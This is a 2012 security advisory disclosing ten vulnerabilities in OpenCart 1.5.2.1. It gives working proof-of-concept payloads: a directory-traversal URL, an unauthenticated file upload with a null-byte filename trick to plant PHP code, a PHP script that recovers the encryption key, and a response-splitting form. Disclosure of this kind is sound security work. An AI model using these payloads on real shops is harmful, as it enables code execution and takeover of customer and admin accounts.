OpenCart 1.5.2.1 LFI / Shell Upload / Response Splitting

`  
[waraxe-2012-SA#084] - Multiple Vulnerabilities in OpenCart 1.5.2.1  
===============================================================================  
  
Author: Janek Vind "waraxe"  
Date: 06. April 2012  
Location: Estonia, Tartu  
Web: http://www.waraxe.us/advisory-84.html  
  
  
Description of vulnerable software:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
OpenCart is a turn-key ready "out of the box" shopping cart solution.  
You simply install, select your template, add products and your ready to start  
accepting orders.  
  
http://www.opencart.com/  
  
  
Vulnerable versions  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Affected is OpenCart version 1.5.2.1, older versions may be vulnerable as well.  
  
###############################################################################  
1. Local File Inclusion in "action.php"  
###############################################################################  
  
Reason: using unsanitized user submitted data for file operations  
Attack vector: user submitted GET parameter "route"  
Preconditions:  
1. Windows platform  
2. PHP version must be < 5.3.4 for null-byte attacks to work  
Result: remote file disclosure, php remote code execution  
  
  
Source code snippet from script "index.php":  
-----------------[ source code start ]---------------------------------  
// Router  
if (isset($request->get['route'])) {  
$action = new Action($request->get['route']);  
-----------------[ source code end ]-----------------------------------  
  
We can see, that user submitted parameter "route" is used as argument  
for class "Action" initialization.  
  
Source code snippet from vulnerable script "action.php":  
-----------------[ source code start ]---------------------------------  
final class Action {  
protected $file;  
..  
public function __construct($route, $args = array()) {  
$path = '';  
  
$parts = explode('/', str_replace('../', '', (string)$route));  
  
foreach ($parts as $part) {   
$path .= $part;  
  
if (is_dir(DIR_APPLICATION . 'controller/' . $path)) {  
$path .= '/';  
  
array_shift($parts);  
  
continue;  
}  
  
if (is_file(DIR_APPLICATION . 'controller/' . str_replace('../', '', $path) . '.php')) {  
$this->file = DIR_APPLICATION . 'controller/' . str_replace('../', '', $path) . '.php';  
-----------------[ source code end ]-----------------------------------  
  
As seen above, user submitted parameter "route" is sanitized twice against  
potrential directory traversal components ("../") and then used as source for  
class member "file".  
  
Finally it comes to this:  
-----------------[ source code start ]---------------------------------  
private function execute($action) {  
$file = $action->getFile();  
..  
if (file_exists($file)) {  
require_once($file);  
-----------------[ source code end ]-----------------------------------  
  
As we can see, previously constructed file path is used as argument for  
php function "require_once()". Sanitization against "../" works well in  
most cases, but in case of underlying Windows operating system attacker  
can use backslashes and bypass such filtering with use of "..\".  
  
Test (on Windows platform):  
  
http://localhost/opencart1521/index.php?route=..\..\admin\index  
  
Result:  
  
Fatal error: Cannot redeclare error_handler() (previously declared in  
C:\apache_www\opencart1521\index.php:78) in  
C:\apache_www\opencart1521\admin\index.php on line 87  
  
Error message above indicates, that directory traversal was successful  
and php script "admin/index.php" was included as expected.  
  
  
###############################################################################  
2. Arbitrary File Upload in "product.php"  
###############################################################################  
  
Reason: insufficient authorization and input data validation  
Attack vector: user submitted file upload via POST request  
Preconditions:  
1. PHP version must be < 5.3.4 for null-byte attacks to work  
Result: remote code execution  
  
It appears, that OpenCart allows file upload functionality to anyone.  
No authentication or authorization at all.  
  
Test: for testing let's use html form below:  
-----------------[ PoC code start ]-----------------------------------  
<html><body><center>  
<form action="http://localhost/opencart1521/index.php?route=product/product/upload"  
method="post" enctype="multipart/form-data">  
<input type="file" name="file">  
<input type="submit" value="Upload test">  
</form>  
</center></body></html>  
-----------------[ PoC code end ]-----------------------------------  
  
Result:  
  
{"file":"pJhdgHSudwNdiwdjMLpwdsKSJWSocdwcwoSOJOdwdduwjSSIisdsdiSWswd==",  
"success":"Your file was successfully uploaded!"}  
  
There are some mitigating factors though:  
  
1. files are uploaded to "download" directory, but filenames are  
random. As we can see above, server response contains filename on JSON  
format, but it's encrypted. Random filename example:  
  
waraxe.jpg.620d348d4551ea2870e4cb602881a1d8  
  
2. upload script allows through only files with specific extensions - images   
and text files. If we try to upload file "test.php", then server responds as:  
  
{"error":"Invalid file type!"}  
  
  
Source code snippet from script "product.php":  
-----------------[ source code start ]---------------------------------  
public function upload() {  
..  
if (!empty($this->request->files['file']['name'])) {  
$filename = basename(html_entity_decode($this->request->files['file']['name'], ENT_QUOTES, 'UTF-8'));  
..  
$allowed = array();  
  
$filetypes = explode(',', $this->config->get('config_upload_allowed'));  
  
foreach ($filetypes as $filetype) {  
$allowed[] = trim($filetype);  
}  
  
if (!in_array(substr(strrchr($filename, '.'), 1), $allowed)) {  
$json['error'] = $this->language->get('error_filetype');  
}   
..  
if (!$json) {  
if (is_uploaded_file($this->request->files['file']['tmp_name']) && file_exists($this->request->files['file']['tmp_name'])) {  
$file = basename($filename) . '.' . md5(rand());  
// Hide the uploaded file name so people can not link to it directly.  
$json['file'] = $this->encryption->encrypt($file);  
  
move_uploaded_file($this->request->files['file']['tmp_name'], DIR_DOWNLOAD . $file);  
-----------------[ source code end ]-----------------------------------  
  
As we can see, uploaded file extension is checked against allowed  
values, which prohibits from direct upload of php files and other interesting  
content. Attacker can upload images with php code inside, but it is useful only  
with additional LFI vulnerabilities.  
So question is, can we bypass file extension checks? How about null bytes?  
Little testing with php shows, that original filename, coming from $_FILES array,  
cannot contain null bytes. OK, that's understandable, php engine tries to be secure.  
But wait a minute ... how about "html_entity_decode" function, which is used  
against original filename, coming from $_FILES array?  
Quick test shows, that using "" or even "&#;" in original filename will  
be transformed to null byte, which allows as bypass file extension checks.  
  
So how to test this? I wrote little php script for proof of concept, below is  
fragment from specific POST request, which does the magic:  
  
  
Content-Type: multipart/form-data; boundary=---------------------------146043902153  
Content-Length: 212  
-----------------------------146043902153  
Content-Disposition: form-data; name="file"; filename="test.php&#;.jpg"  
Content-Type: image/jpeg  
  
<?php  
phpinfo();  
?>  
-----------------------------146043902153--  
  
  
There is even easier way to exploit this vulnerability. We can  
write php script with contents "<?php phpinfo();?>" inside and with  
filename "test.php&#;.jpg". We can use same html form for upload,  
as seen above and this time php file upload succeeds!  
  
###############################################################################  
3. Insufficiently random names for uploaded files in "product.php"  
###############################################################################  
  
Reason: using of "rand()" function, which has known weaknesses  
Preconditions: Windows platform   
  
Source code snippet from script "product.php":  
-----------------[ source code start ]---------------------------------  
public function upload() {  
..  
$file = basename($filename) . '.' . md5(rand());  
..  
move_uploaded_file($this->request->files['file']['tmp_name'], DIR_DOWNLOAD . $file);  
-----------------[ source code end ]-----------------------------------  
  
In previous vulnerability analysis we saw, that unauthorized upload vulnerability  
exists, but uploaded file is saved with random filename, which makes exploitation  
harder. As seen from source code snippet above, randomness in filename is caused  
by using "md5(rand())". In case of *nix platforms this means > 2 000 000 000   
possible filenames. But Windows platform is different. From php manual:  
  
"If called without the optional min, max arguments rand() returns a pseudo-random  
integer between 0 and getrandmax().  
Note: On some platforms (such as Windows), getrandmax() is only 32767."  
  
So it appears, that on Windows platform there is only about 32768 possible  
filenames and therefore simple bruteforce can reveal valid path to uploaded file.  
  
  
###############################################################################  
4. Inadequate Encryption Strength  
###############################################################################  
  
Reason: Weak encryption algorithm used in OpenCart  
Preconditions: none  
Result: attacker can use Known Plaintext Attack and obtain encryption key  
  
http://opencarthelp.com/a/?q=improve-opencart-security#change_encryption_key  
  
"Change your encryption key (PCI)  
Changing the encryption key will help increase security for your store  
as a whole. By default the encryption key for processing orders is set  
to 12345. To change it to a unique series, in Admin go to System -> Settings  
and click Edit for your store. Encryption Key can be found under the Server tab."  
  
Method "encrypt()" in "encryption.php":  
-----------------[ source code start ]---------------------------------  
function encrypt($value) {  
..  
$output = '';  
  
for ($i = 0; $i < strlen($value); $i++) {  
$char = substr($value, $i, 1);  
$keychar = substr($this->key, ($i % strlen($this->key)) - 1, 1);  
$char = chr(ord($char) + ord($keychar));  
  
$output .= $char;  
}   
  
return base64_encode($output);   
}  
-----------------[ source code end ]-----------------------------------  
  
As we can see, it is very weak encryption scheme, which is vulnerable  
to Known Plaintext Attack. Default encryption key after OpenCart installation  
is "12345" and same key is used in multiple places in OpenCart functionality.  
One use of this encryption is obfuscation of uploaded file path:  
  
Source code snippet from script "product.php":  
-----------------[ source code start ]---------------------------------  
public function upload() {  
..  
$file = basename($filename) . '.' . md5(rand());  
// Hide the uploaded file name so people can not link to it directly.  
$json['file'] = $this->encryption->encrypt($file);  
  
move_uploaded_file($this->request->files['file']['tmp_name'], DIR_DOWNLOAD . $file);  
..  
$this->response->setOutput(json_encode($json));   
-----------------[ source code end ]-----------------------------------  
  
As shown in previous analysis, attacker has the ability to upload files to  
target system. In case of successful upload there is JSON-encoded string,  
which contains uploaded file path encrypted with same algorithm, as  
discussed. So here is known plaintext attack scenario for key retrieval:  
  
1. attacker uploads file with known filename, for example:  
  
1111111111111111111111111111111111111111.jpg  
  
2. server responds with JSON-encoded string:  
  
{"file":"ZmJjZGVmYmNkZWZiY2RlZmJjZGVmYmNkZWZiY2RlZmJjZGVmYmNkZWOboppil2  
FlaJhrZmhmlWeSlpSXbpdqZWZuZWKWZWlmZGlnmJY=","success":  
"Your file was successfully uploaded!"}  
  
3. attacker base64-decodes parameter "file", does simple arithmetics  
(keychar = cryptchar - plainchar) and recovers original key byte-by-byte.  
  
Below is php script for proof of concept:  
-----------------[ PoC code start ]-----------------------------------  
<?php  
error_reporting(E_ALL);  
  
$plaintext = '1111111111111111111111111111111111111111';  
$crypted_b64 = 'ZmJjZGVmYmNkZWZiY2RlZmJjZGVmYmNkZWZiY2RlZmJjZGVmYmNkZWOboppil2  
FlaJhrZmhmlWeSlpSXbpdqZWZuZWKWZWlmZGlnmJY';  
  
$pt_len = strlen($plaintext);  
$crypted_bin = base64_decode($crypted_b64);  
  
$key = '';  
  
for($i = 0; $i < $pt_len; $i ++)  
{  
$cc = substr($crypted_bin, $i, 1);  
$pc = substr($plaintext, $i, 1);  
$c = chr(ord($cc) - ord($pc));  
$key .= $c;  
}  
  
echo "Key: {$key}";  
?>  
-----------------[ PoC code end ]-----------------------------------  
  
  
###############################################################################  
5. HTTP Response Splitting Vulnerability in "controller.php"  
###############################################################################  
  
Reason: using unsanitized user submitted data for HTTP headers generation  
Attack vector: user submitted POST parameter "redirect"  
Preconditions:  
1. PHP version must be < 4.4.2 for HTTP Response Splitting attacks to work  
  
  
Source code snippet from script "language.php":  
-----------------[ source code start ]---------------------------------  
protected function index() {  
..  
if (isset($this->request->post['redirect'])) {  
$this->redirect($this->request->post['redirect']);  
-----------------[ source code end ]-----------------------------------  
  
  
Source code snippet from script "controller.php":  
-----------------[ source code start ]---------------------------------  
protected function redirect($url, $status = 302) {  
header('Status: ' . $status);  
header('Location: ' . str_replace('&', '&', $url));  
exit();  
}  
-----------------[ source code end ]-----------------------------------  
  
We can see, that unvalidated user submitted POST parameter "redirect" is  
used for HTTP header generation. Therefore HTTP Response Splitting  
Vulnerability exists in source code above.  
  
Test:  
-----------------[ PoC code start ]-----------------------------------  
<html><body><center>  
<form action="http://localhost/opencart1521/" method="post">  
<input type="hidden" name="language_code" value="en">  
<input type="hidden" name="redirect" value="?route=common/home   
foo=bar   
">  
<input type="submit" value="Test">  
</form>  
</center></body></html>  
-----------------[ PoC code end ]-----------------------------------  
  
Result:  
  
Warning: Header may not contain more than a single header, new line detected. in  
C:\apache_www\opencart1521\system\engine\controller.php on line 29  
  
As we can see, current php version is protected against HTTP header injections,  
but error message clearly shows, that HTTP Response Splitting Vulerability  
exists and is exploitable in case of older php versions.   
  
Because HTTP header generation is done without any validation,  
attacker is able to use OpenCart installation for malicious redirects  
to arbitrary websites. It means that OpenCart has Open Redirect Vulnerability  
as well :)  
  
  
###############################################################################  
6. Insufficiently random names for uploaded files in "download.php"  
###############################################################################  
  
Reason: using of "rand()" function, which has known weaknesses  
Preconditions:  
1. Windows platform   
2. Admin privileges needed   
  
Source code snippet from script "download.php":  
-----------------[ source code start ]---------------------------------  
public function insert() {  
..  
if (is_uploaded_file($this->request->files['download']['tmp_name'])) {  
$filename = $this->request->files['download']['name'] . '.' . md5(rand());  
  
move_uploaded_file($this->request->files['download']['tmp_name'], DIR_DOWNLOAD . $filename);  
..  
public function update() {  
..  
if (is_uploaded_file($this->request->files['download']['tmp_name'])) {  
$filename = $this->request->files['download']['name'] . '.' . md5(rand());  
  
move_uploaded_file($this->request->files['download']['tmp_name'], DIR_DOWNLOAD . $filename);  
-----------------[ source code end ]-----------------------------------  
  
Same problem, as in case of vulnerability #3: on Windows platform there  
is only about 32768 possible filenames and therefore simple bruteforce  
can reveal valid path to uploaded file.  
  
  
###############################################################################  
7. Admin Password Reset Vulnerability  
###############################################################################  
  
Reason: using of "rand()" function, which has known weaknesses  
Preconditions:  
1. Windows platform   
2. Admin email must be known  
Result: attacker can reset admin password  
  
Source code snippet from script "admin/controller/common/forgotten.php":  
-----------------[ source code start ]---------------------------------  
class ControllerCommonForgotten extends Controller {  
..  
if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {  
$this->language->load('mail/forgotten');  
  
$code = md5(rand());  
  
$this->model_user_user->editCode($this->request->post['email'], $code);  
  
$subject = sprintf($this->language->get('text_subject'), $this->config->get('config_name'));  
  
$message = sprintf($this->language->get('text_greeting'), $this->config->get('config_name')) . "\n\n";  
$message .= sprintf($this->language->get('text_change'), $this->config->get('config_name')) . "\n\n";  
$message .= $this->url->link('common/reset', 'code=' . $code, 'SSL') . "\n\n";  
  
-----------------[ source code end ]-----------------------------------  
  
As described previously, using "md5(rand())" on Windows platform means,  
that there is only about 32768 different confirmation codes for admin  
password reset and therefore admin account takeover is possible by using  
bruteforce attack.  
  
  
###############################################################################  
8. Customer Password Reset Vulnerability  
###############################################################################  
  
Reason: using of "rand()" function, which has known weaknesses  
Preconditions:  
1. Windows platform   
2. Customer email must be known  
Result: attacker can reset customer password  
  
Source code snippet from script "catalog/controller/account/forgotten.php":  
-----------------[ source code start ]---------------------------------  
$password = substr(md5(rand()), 0, 7);  
$this->model_account_customer->editPassword($this->request->post['email'], $password);  
..  
$message .= $this->language->get('text_password') . "\n\n";  
$message .= $password;  
-----------------[ source code end ]-----------------------------------  
  
Same problem as in previous case: using "md5(rand())" on Windows platform means,  
that there is only about 32768 different new passwords after customer  
password reset, therefore customer account takeover is possible by using  
bruteforce attack.  
  
  
###############################################################################  
9. Affiliate Password Reset Vulnerability  
###############################################################################  
  
Reason: using of "rand()" function, which has known weaknesses  
Preconditions:  
1. Windows platform   
2. Affiliate email must be known  
Result: attacker can reset affiliate password  
  
Source code snippet from script "catalog/controller/affiliate/forgotten.php":  
-----------------[ source code start ]---------------------------------  
$password = substr(md5(rand()), 0, 7);  
$this->model_affiliate_affiliate->editPassword($this->request->post['email'], $password);  
..  
$message .= $this->language->get('text_password') . "\n\n";  
$message .= $password;  
-----------------[ source code end ]-----------------------------------  
  
Same problem as in previous cases: using "md5(rand())" on Windows platform means,  
that there is only about 32768 different new passwords after affiliate  
password reset, therefore affiliate account takeover is possible by using  
bruteforce attack.  
  
  
###############################################################  
10. Path Disclosure in multiple php scripts  
###############################################################  
  
http://localhost/opencart1521/index.php?route[]  
Warning: substr() expects parameter 1 to be string, array given in  
C:\apache_www\opencart1521\catalog\controller\common\column_left.php  
  
http://localhost/opencart1521/index.php?route=product/product&path[]  
Warning: explode() expects parameter 2 to be string, array given in  
C:\apache_www\opencart1521\catalog\controller\product\product.php on line 21  
  
http://localhost/opencart1521/index.php?route=product/search&filter_name[]  
Warning: explode() expects parameter 2 to be string, array given in  
C:\apache_www\opencart1521\catalog\model\catalog\product.php on line 432  
  
http://localhost/opencart1521/index.php?route=product/search&filter_name=waraxe&limit[]  
Fatal error: Unsupported operand types in  
C:\apache_www\opencart1521\catalog\controller\product\search.php on line 206  
  
http://localhost/opencart1521/index.php?route=product/search&filter_tag[]  
Warning: explode() expects parameter 2 to be string, array given in  
C:\apache_www\opencart1521\catalog\model\catalog\product.php on line 454  
  
http://localhost/opencart1521/admin/index.php?route=common/reset&code[]  
Warning: mysql_real_escape_string() expects parameter 1 to be string, array given in  
C:\apache_www\opencart1521\system\database\mysql.php on line 55  
  
  
Contact:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
[email protected]  
Janek Vind "waraxe"  
  
Waraxe forum: http://www.waraxe.us/forums.html  
Personal homepage: http://www.janekvind.com/  
Random project: http://albumnow.com/  
---------------------------------- [ EOF ] ------------------------------------  
`